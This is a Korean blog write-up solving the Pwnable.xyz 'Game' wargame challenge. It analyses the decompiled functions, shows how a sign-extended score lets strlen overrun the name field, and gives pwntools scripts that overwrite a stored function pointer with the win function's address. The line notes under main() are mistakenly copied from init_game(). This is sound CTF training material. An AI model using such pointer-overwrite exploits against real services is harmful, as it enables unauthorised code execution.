tmxklab

[Pwnable.xyz] Game 본문

War Game/Pwnable.xyz

[Pwnable.xyz] Game

tmxk4221 2020. 4. 13. 21:53

1. 문제

nc svc.pwnable.xyz 30009

 

1) 문제 확인

이름을 입력하고 게임을 진행할 수 있다.

 

2) 함수 확인

win함수와 main함수를 포함한 다수의 함수들 확인

 

2-1) 메인 함수

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Shell we play a game?";
  puts("Shell we play a game?");
  init_game();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v3, argv);
      v3 = "> ";
      printf("> ");
      v4 = read_int32();
      if ( v4 != 1 )
        break;
      (*((void (**)(void))cur + 3))();
    }
    if ( v4 > 1 )
    {
      if ( v4 == 2 )
      {
        save_game();
      }
      else
      {
        if ( v4 != 3 )
          goto LABEL_13;
        edit_name();
      }
    }
    else
    {
      if ( !v4 )
        exit(1);
LABEL_13:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}
  • line 5 : saves[0]에 32bytes만큼 메모리 할당
  • line 6 : find_last_save()의 반환 값을 cur에 저장(cur은 bss영역 변수)
  • line 8 : read()를 통해 입력 값을 cur에 저장(16bytes까지)
  • line 9 : cur이 가리키는 주소 값을 result에 저장
  • line 10 : *(cur + 3)에 play_game의 주소 값을 저장(QWORD이므로 24bytes)
  • line 11 : result를 반환 값으로 줌

 

2-2) init_game()

char *init_game()
{
  char *result; // rax

  saves[0] = (__int64)malloc(32uLL);
  cur = (char *)find_last_save();
  printf("Name: ");
  read(0, cur, 16uLL);
  result = cur;
  *((_QWORD *)cur + 3) = play_game;
  return result;
}
  • line 5 : saves[0]에 32bytes만큼 메모리 할당
  • line 6 : find_last_save()의 반환 값을 cur에 저장(cur은 bss영역 변수)
  • line 8 : read()를 통해 입력 값을 cur에 저장(16bytes까지)
  • line 9 : cur이 가리키는 주소 값을 result에 저장
  • line 10 : *(cur + 3)에 play_game의 주소 값을 저장(QWORD이므로 24bytes)
  • line 11 : result를 반환 값으로 줌

 

2-3) find_last_save()

_int64 find_last_save()
{
  int i; // [rsp+0h] [rbp-4h]

  for ( i = 0; saves[i]; ++i )
    ;
  return saves[i - 1];
}

line 5 ~ 7 : saves[i]에 값이 존재할 때까지 반복문을 돌리고 존재하면 반환 값으로 그 주소 값을 반환(init_game에 cur포인터 변수에 저장됨)

 

2-4) play_game()

unsigned __int64 play_game()
{
  __int16 v0; // dx
  __int16 v1; // dx
  __int16 v2; // dx
  __int16 v3; // dx
  int fd; // [rsp+Ch] [rbp-124h]
  int v6; // [rsp+10h] [rbp-120h]
  unsigned int buf; // [rsp+14h] [rbp-11Ch]
  unsigned int v8; // [rsp+18h] [rbp-118h]
  unsigned __int8 v9; // [rsp+1Ch] [rbp-114h]
  char s; // [rsp+20h] [rbp-110h]
  unsigned __int64 v11; // [rsp+128h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  read(fd, &buf, 12uLL);
  close(fd);
  v9 &= 3u;
  memset(&s, 0, 256uLL);
  snprintf(&s, 256uLL, "%u %c %u = ", buf, (unsigned int)ops[v9], v8);
  printf("%s", &s);
  v6 = read_int32();
  if ( v9 == 1 )
  {
    if ( buf - v8 == v6 )
      v1 = *((_WORD *)cur + 8) + 1;
    else
      v1 = *((_WORD *)cur + 8) - 1;
    *((_WORD *)cur + 8) = v1;
  }
  else if ( (int)v9 > 1 )
  {
    if ( v9 == 2 )
    {
      if ( buf / v8 == v6 )
        v2 = *((_WORD *)cur + 8) + 1;
      else
        v2 = *((_WORD *)cur + 8) - 1;
      *((_WORD *)cur + 8) = v2;
    }
    else if ( v9 == 3 )
    {
      if ( v8 * buf == v6 )
        v3 = *((_WORD *)cur + 8) + 1;
      else
        v3 = *((_WORD *)cur + 8) - 1;
      *((_WORD *)cur + 8) = v3;
    }
  }
  else if ( !v9 )
  {
    if ( v8 + buf == v6 )
      v0 = *((_WORD *)cur + 8) + 1;
    else
      v0 = *((_WORD *)cur + 8) - 1;
    *((_WORD *)cur + 8) = v0;
  }
  return __readfsqword(0x28u) ^ v11;
}
  • line 16 ~ 22 : /dev/urandom파일을 열어서 buf에 12bytes까지 저장
  • line 24 : v9변수에 저장된 값과 3을 and연산하여 v9에 저장
  • line 25 : s변수를 256bytes까지 0으로 세팅
  • line 26 ~ 27 : snprintf()를 통해 s변수에 %u %c %u의 문자열 값을 저장 및 출력(이 때 첫 번째 %u는 buf의 값, %c는 ops[v9]의 문자, 두 번째 %u는 v8)
  • line 28 : 입력 값을 v6에 저장
  • line 29 ~ 36 : v9가 1인 경우 buf - v8의 값이 동일한지 아닌지에 따라 cur+8에 v1의 값 저장
  • line 37 ~ 46 : v9가 2인 경우
  • line 47 ~ 55 : v9가 3인 경우
  • line 56 ~ 63 : v9가 0인 경우
  • 이 때, cur + 8은 이름 값이 저장된 곳으로 부터 8bytes 떨어진 곳에 v1의 값 저장
    • 만약 이름 값이 저장된 곳이 0x603260이라면 0x603268에 저장됨

 

2-5) print_menu()

int print_menu()
{
  printf("Score: %d\n", (unsigned int)*((__int16 *)cur + 8));
  return puts("Menu:\n1. Play game\n2. Save game\n3. Edit name\n0. Exit");
}
  • line 3 ~ 4 : score점수 출력(cur + 8) 및 메뉴 출력

 

2-6) save_game()

int save_game()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  __int64 v2; // rdx
  __int64 v3; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 1; i <= 4; ++i )
  {
    if ( !saves[i] )
    {
      saves[i] = (__int64)malloc(32uLL);
      v0 = (_QWORD *)saves[i];
      v1 = *((_QWORD *)cur + 1);
      *v0 = *(_QWORD *)cur;
      v0[1] = v1;
      *(_QWORD *)(saves[i] + 16) = *((__int16 *)cur + 8);
      *(_QWORD *)(saves[i] + 24) = play_game;
      v2 = i;
      v3 = saves[v2];
      cur = (char *)saves[v2];
      return v3;
    }
  }
  LODWORD(v3) = puts("Not enough space.");
  return v3;
}
  • line 9 ~ 11 : saves[i]의 값이 존재할 때까지 i가 4까지 증가
  • line 13 : saves[i]의 값이 존재하지 않는 곳에 메모리 할당
  • line 14 : v0에 saves[i]의 값(메모리 할당 받은 주소)을 저장
  • line 15 : v1에 cur + 1의 값을 저장(QWORD이니깐 8bytes)
  • line 16 : v0에 cur의 값을 저장(현재 cur의 주소 값이므로 이름이 저장된 곳 즉, 전에 메모리 할당받았던 주소)
  • line 17 : v0[1]에 v1의 값을 저장(v1은 cur+1)
    • 정리
      • saves[i] : 메모리 할당
      • v0 : 메모리 할당받은 주소
      • v1 : cur + 1(QWORD)의 주소 값
      • *v0 : 메모리 할당받은 주소가 가리키는 곳에 cur저장
      • v0[1] : 메모리 할당받은 주소로부터 8bytes떨어진 곳에 cur + 1의 주소 값 저장
  • line 18 : saves[i] + 16에 *(cur+8)저장
  • line 19 : saves[i] + 24에 play_game의 주소 값 저장
  • line 20 ~ 21 : v3에 saves[i](메모리 할당 받은 주소 값)저장
  • line 22 ~ 23 : cur에 saves[i]저장한 후 반환 값으로 v3(메모리 할당받은 주소 값)

 

2-7) edit_name()

ssize_t edit_name()
{
  size_t v0; // rax

  v0 = strlen(cur);
  return read(0, cur, v0);
}
  • line 5 ~ 6 : cur이 가리키는 곳에 저장된 값의 길이를 구해 그 read함수로 사용됨

 

3) 메모리 보호기법 및 파일 정보 확인

 


 

2. 접근방법

 

음... 함수들이 엄청 많고 복잡해 보이는데 천천히 분석해보자

 

메인함수가 처음 시작할 때 init_game함수가 실행되고

init_game함수에서 find_last_save함수가 실행되서 마지막 포인터 값을 반환 값으로 받는다.(cur포인터 변수에)

그래서 cur포인터가 위치하는 곳에 이름을 입력으로 받고

result값에 이름이 저장된 포인터가 들어간다.

그리고 이름이 저장된 포인터 + 3만큼(QWORD이니깐 8bytes이므로 즉 24bytes만큼 떨어진 곳에 play_game주소 값이 들어감)

 

그리고 나서 이제 메뉴가 출력되고 어떤 메뉴를 선택하냐에 따라 해당 함수가 실행된다.

 

그 중에서 메뉴 1이 특이한 부분이 함수호출을 바로 하는 것이 아니라

아까전에 이름 값을 저장한 cur포인터로부터 24bytes떨어진 곳에 play_game함수의 주소 값이 들어갔는데 그거를 호출한다.

일단 이 부분에서 cur을 통해서 play_game함수의 주소 값 대신에 win함수의 주소 값을 쓰면 호출하지 않을까 생각하고 넘어간다.

 

1) edit_name()

취약점이 터지는 곳이 어딜까 보던 중

edit_name()에서 로직이 조금 수상했다.

cur이 가리키는 것은 이름이 저장된 "cmc"이고 v0에서 strlen의 반환 값이 저장된다.("cmc\n"이니깐 4bytes)

그리고 나서 read함수에서 문자열의 길이만큼 제한을 두고 입력을 받는다.

(굳이 문자열의 길이만큼 제한을 걸어둔지 모르겠지만 문자열의 길이를 늘리면 되지 않을까 생각해본다.)

 

하지만,,,,

init_game함수에서 cur이 할당받을 수 있는 사이즈가 16bytes로 제한되어 있음

 

2) 게임에 졌을 때 

cur[0], cur[1], cur[2], cur[3]에 사용자가 플레이한 기록들을 저장하는 주소 값이 들어있다.

그 주소 값은 결국 malloc을 통해 할당받은 주소이고 그 주소를 따라가다보면

0x603260은 이름을 입력하는 공간("cmc\n"이라고 입력함)이고

이름은 16bytes까지 입력할 수 있으니깐 0x603260부터 16bytes까지(0x603270전까지)

그리고 0x603270은 score점수 값을 저장하는 공간(게임에 져서 -1이므로 0xffff)

마지막으로 0x603278은 play_game함수의 주소 값을 저장하는 공간이다.

 

이후에 save_game을 하면

이렇게 바뀌는데 

특이한 점이 score점수를 저장하는 공간에 0xffff가 0xffffffffffffffff로 늘어나있다.

 

3) strlen

위에서 게임에서 지고 save_game()를 실행시켰을 때 0xffffffffffffffff로 바뀌는 것을 확인했다.

 

그리고 다시 edit_name을 실행시키면

이제 새로운 cur부분 0x603290부분을 참조하는데

아까 name에서 "hi\n\n"로 저장하고 score는 0xffffffffffffffff, 그리고 함수의 주소 값은 그대로 play_game()주소 값

그리고 strlen을 실행시키면

정확히 "hi\n\n"의 길이인 4bytes만 가져온다.

 

여기서 생각해볼 수 있는 것이

이전에 strcpy()와 read()의 차이에 대해서 설명했었다.

strlen()도 strcpy()와 같이 문자열의 마지막이 널 값이니깐 널 값이 나올 때까지 읽으면서 카운트하여 반환한다.

참고)

 

C 언어 코딩 도장: 41.1 문자열 길이 구하기

41 문자열의 길이를 구하고 비교하기 이번에는 문자열의 길이를 구하는 방법, 두 문자열이 같은지 비교하는 방법을 알아보겠습니다. 41.1 문자열 길이 구하기 문자열은 문자가 여러 개 모여있으므로 길이가 있습니다. 문자열의 길이는 strlen 함수로 구할 수 있으며 함수 이름은 문자열 길이(string length)에서 따왔습니다(string.h 헤더 파일에 선언되어 있습니다). strlen(문자열포인터); strlen(문자배열); size_t strlen

dojang.io

 

그러면 이제 name의 꽉 채우고 반환 값이 어떻게 바뀌는지 보자

(왜냐하면 name값을 읽을 때 score를 저장하는 주소 공간은 이미 꽉 차있고 name만 꽉 차있으면 play_game주소에 접근할 수 있기 때문)

 

4) 확인

4-1) play_game() (이 때, 게임에서 져야한다. -> score가 -1이 되야 하기 때문) 

 

4-2) save_game()

 

4-3) strlen()

 

반환 값이 0x1b(27bytes)로 바뀐 것을 확인할 수 있다.

- name의 크기(16bytes) + score의 크기(8bytes) + 주소 값의 크기(3bytes)해서 27bytes가 된다.

 

이제 play_game주소 값이 저장된 곳에 값을 덮을 수 있는지 확인해보자(edit_name의 read함수실행 후)

값이 바뀐 것을 알 수 있다.

 

이제 다시 main함수에서 cur+3(원래는 play_game)이 저 값(0x0a4444)을 참조하는지 확인해보자

call rdx를 보면 현재 rdx는 아까 덮어 씌웠던 값이 존재!!

 

그럼 attach해서 확인해보자(코드는 다음과 같다.)

from pwn import *

context.log_level="debug"

#r = remote("ctf.j0n9hyun.xyz", 3017)
p = process('./challenge', aslr=False)
gdb.attach(p)
e = ELF('./challenge')

#win = p64(e.symbols['win'])

p.sendafter('Name: ', "A"*16)

p.sendlineafter('> ', '1')

p.sendlineafter('= ', '-1')

p.sendlineafter('> ', '2')

p.sendlineafter('> ', '3')

sleep(5)

p.send("A"*24+"\xd6\x09\x40")

p.sendlineafter('> ', '1')

p.interactive()

#r.interactive()

 

 

5) 결론

- play_game()을 실행하여 게임에 져서 score가 -1(0xffff)가 되도록 한다.(이름은 16bytes 꽉 채운 상태)

- save_game()을 실행하여 score가 0xffff ffff ffff ffff가 되도록 한다.

- edit_name()을 실행하여 win함수의 주소 값을 쓴다.

 


 

3. 풀이

 

1) 공격 코드

from pwn import *

context.log_level="debug"

p = remote("svc.pwnable.xyz", 30009)
#p = process('./challenge', aslr=False)
#gdb.attach(p)
#e = ELF('./challenge')

#win = p64(e.symbols['win'])

p.sendafter('Name: ', "A"*16)

p.sendlineafter('> ', '1')

p.sendlineafter('= ', '-1')

p.sendlineafter('> ', '2')

p.sendlineafter('> ', '3')

p.send("A"*24+"\xd6\x09\x40")

p.sendlineafter('> ', '1')

p.interactive()

#r.interactive()

 

2) 공격 실행

 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] SUS  (0) 2020.04.23
[Pwnable.xyz] fspoo  (0) 2020.04.23
[Pwnable.xyz] I33t-ness  (0) 2020.04.09
[Pwnable.xyz] Jmp_table  (0) 2020.04.09
[Pwnable.xyz] TLSv00  (0) 2020.04.09
Comments